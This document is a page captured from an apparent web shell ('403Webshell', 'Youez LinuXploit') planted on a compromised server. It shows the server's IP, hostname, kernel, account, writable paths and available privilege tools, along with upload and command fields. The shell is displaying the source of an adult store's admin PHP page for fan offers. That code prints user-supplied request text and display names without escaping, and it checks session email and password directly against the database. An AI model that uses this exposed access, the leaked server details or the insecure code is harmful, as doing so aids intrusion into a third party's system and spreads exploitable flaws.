403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/xfcadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/xfcadmin/adm.requests.php
<?php
	include("../config.php");

	include("auth.php");
	include("model-header.php");

	$msgSystem = "";

	if (isset($_SESSION['model_id'])) {

		$userinfo->model_id = $_SESSION['model_id'];

	} else {

		if (isset($_SESSION['email']) && isset($_SESSION['password'])) {

			$sth = $dbh->prepare("SELECT * FROM `cms_members` WHERE email=? AND password=?");
			$sth->execute(array($_SESSION['email'],$_SESSION['password']));
			$userinfo = $sth->fetch(PDO::FETCH_OBJ);

		}

	}

	if (isset($userinfo->model_id) && $userinfo->model_id > 0) {

		$sth = $dbh->prepare("SELECT * FROM `cms_model_requests` WHERE `to_id` =? ORDER BY id DESC");
		$sth->execute(array($userinfo->model_id));

	}

	if (isset($_GET['action']) && isset($_GET['id']) && is_numeric($_GET['id'])) {

		$confirmOwnership_sql = $dbh->prepare("SELECT * FROM `cms_model_requests` WHERE `id` =? AND `to_id` =?");
		$confirmOwnership_sql->execute(array($_GET['id'], $userinfo->model_id));
		if ($confirmOwnership_sql->rowCount() > 0) {

			if ($_GET['action'] == "approve") {
				$changeStatus = 1;
			} elseif ($_GET['action'] == "decline") {
				$changeStatus = 9;
			}

			if (isset($changeStatus)) {
				$changeStatus_sql = $dbh->prepare("UPDATE `cms_model_requests` SET `status` =? WHERE `id` =?");
				$changeStatus_sql->execute(array($changeStatus, $_GET['id']));

				$sth = $dbh->prepare("SELECT * FROM `cms_model_requests` WHERE `to_id` =? ORDER BY id DESC");
				$sth->execute(array($userinfo->model_id));

				$msgSystem .= msgSystem("Request offer has been updated.", "success");

			}

		} else {
			$msgSystem .= msgSystem("You don't seem to have the rights to change that request offer.", "error");
		}

	}

?>
<div class="row">
    <div class="large-12 columns">
		<?php
			if (isset($msgSystem) && $msgSystem != "") {

				echo $msgSystem;

			}
		?>
      <div class="panel">
        <h4>Manage Your Offers</h4>
        <div class="row">
          <div class="large-12 columns">
		<dl class="tabs" data-tab>
		  <dd class="active"><a href="#panel1">My Offers</a></dd>
		  <dd><a href="#panel2">Pending Offers</a></dd>
		</dl>
		<div class="tabs-content">
		  <div class="content active" id="panel1">
		    <p>
		    <h5>Create a new offer</h5>
		  <div class="row">
		    <div class="large-4 columns">
		      <label>Title
		        <input type="text" name="price" placeholder="Name your offer" value="<?php echo (isset($row['last_name']) ? $row['last_name'] : ""); ?>" />
			</label>
		    </div>
		    <div class="large-4 columns">
		      <label>Offer Price
		        <input type="text" name="price" placeholder="$ USD" value="<?php echo (isset($row['last_name']) ? $row['last_name'] : ""); ?>" />
		      </label>
		    </div>
		    <div class="large-4 columns">
		      <label>Type of Offer
		        <input type="text" name="price" placeholder="Phone,Clothing,Etc" value="<?php echo (isset($row['last_name']) ? $row['last_name'] : ""); ?>" />
		      </label>
		    </div>
		    <div class="large-12 columns">
		      <label>Description of Offer
		        <textarea name="price">
		
		        </textarea>
		      </label>
		    </div>
		    <div class="large-12 columns">
		      <label>
		        <input type="submit" value="Submit Offer" class="button">
		      </label>
		    </div>
		  </div>
		    </p>
		  </div>
		  <div class="content" id="panel2">
		    <p>
		    <h5>Offers submitted by fans</h5>
		    <div class="large-12 columns">
			<?php

				if ($sth->rowCount() > 0) {

					echo '<div style="margin-top: 20px; margin-bottom: 30px; color: green;">You have ' . $sth->rowCount() . ' request' . ($sth->rowCount() == 1 ? "" : "s") . '</div>';

					while ($model_request = $sth->fetch(PDO::FETCH_OBJ)) {
	
						$member_info_sql = $dbh->prepare("SELECT * FROM `cms_members` WHERE `member_id` =?");
						$member_info_sql->execute(array($model_request->from_id));
						$member_info = $member_info_sql->fetch(PDO::FETCH_OBJ);

						$formattedDate = date('M jS Y g:i a', strtotime($model_request->timestamp));

						?>
<div class="row" style="margin-bottom: 40px;">
	<div class="large-12 columns">
		<div class="row">
			<div class="large-2 columns"><div  style="background-color: #fff; font-size: 20px; padding: 12px; width: 100px; text-align: center;">$<?php echo $model_request->price; ?></div></div>
			<div class="large-3 columns" style="margin-top: 0px;">
			<?php

				if (isset($model_request->status) && $model_request->status == 1) {
					echo '<span class="tiny button disabled">Approved</span>';
				} elseif (isset($model_request->status) && $model_request->status == 9) {
					echo '<span class="tiny button secondary disabled">Declined</span>';
				} else {
					echo '<a href="model-offers.php?action=approve&id=' . $model_request->id . '" class="tiny button success">Approve</a> <a href="model-offers.php?action=decline&id=' . $model_request->id . '" class="tiny button alert">Decline</a>';
				}

			?>
			</div>
			<div class="large-2 columns" style="margin-top: 10px;">From: <?php echo $member_info->display_name; ?></div>
			<div class="large-3 columns" style="margin-top: 10px;"><?php echo $formattedDate; ?></div>
			<div class="large-2 columns" style="text-align: right; margin-top: 0px;">
			<?php
				if (isset($model_request->status) && $model_request->status == 1) {
					echo '<a href="model-videos.php" class="tiny button">Upload Video</a>';
				}
			?>
			</div>
		</div>
		<div class="row">
			<div class="large-12 columns"><div  style="background-color: #fff; padding: 20px;"><?php echo $model_request->request; ?></div></div>
		</div>
	</div>
</div>
						<?php

					}

				} else {
					echo '<div class="msgsystem">You have no requests.</div>';
				}
			?>
		    </div>
		    </p>  </div>
		</div>
			</div>
		</div>
      </div>
    </div>
  </div>

<?php
	include("footer.php");

Youez - 2016 - github.com/yon3zu
LinuXploit